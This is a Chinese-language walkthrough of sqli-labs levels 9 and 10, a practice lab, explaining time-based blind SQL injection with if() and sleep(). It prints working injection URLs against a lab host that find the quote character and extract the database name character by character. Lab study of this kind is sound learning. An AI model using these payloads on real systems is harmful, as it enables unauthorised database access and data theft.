使用场景
1.对时间函数敏感
2.前端不显示后端报错和查询结果传来的结果,同时也不根据后端传来的结果显示不同的内容。
一些资料说是:
2.后端报错和查询结果不返回到前端,对前端其他任何输入都不返回给前端不同的内容
至于是后端不返回,还是返回了前端不显示,有点搞不懂,希望有大佬看到能帮我扫盲
基本函数:
-
if(var1,var2,var3)
var1:条件
var2:条件为真时返回的值
var3:条件为假时返回的值
-
sleep(var)
暂停执行var秒,可以为小数
第9关
确认场景
首先确认场景,确定可以适用延时盲注
判断闭合符
- 构造一个明显会延时的if()语句拼接到条件语句(where)后
- 再依次尝试添加待确定的闭合符
- 如果延时,则尝试的闭合符正确
http://172.16.11.222/sqli-labs/Less-9/?id=2' and if(3>2,sleep(3),1)--+
不加引号、加上双引号。都立马刷新,加上单引号后,延迟了3秒才刷新出来。说明闭合符是'
单引号
将3>2
换成要查找的数据,这就是前面几关的布尔盲注了。
找到数据库名的长度
http://172.16.11.222/sqli-labs/Less-9/?id=2' and if(length(database())>7,sleep(3),1)--+
有8位。
将数据库名一个字母一个字母爆出来
http://172.16.11.222/sqli-labs/Less-9/?id=2' and if(ascii(substr(database(),1,1))>114,sleep(3),1)--+
http://172.16.11.222/sqli-labs/Less-9/?id=2' and if(ascii(substr(database(),1,1))>115,sleep(3),1)--+
大于114是正确的,大于115是错误的,说明是115。即为s
…………
后面的就和前几关的布尔盲注差不多了
第10关
同第9关,使用延时盲注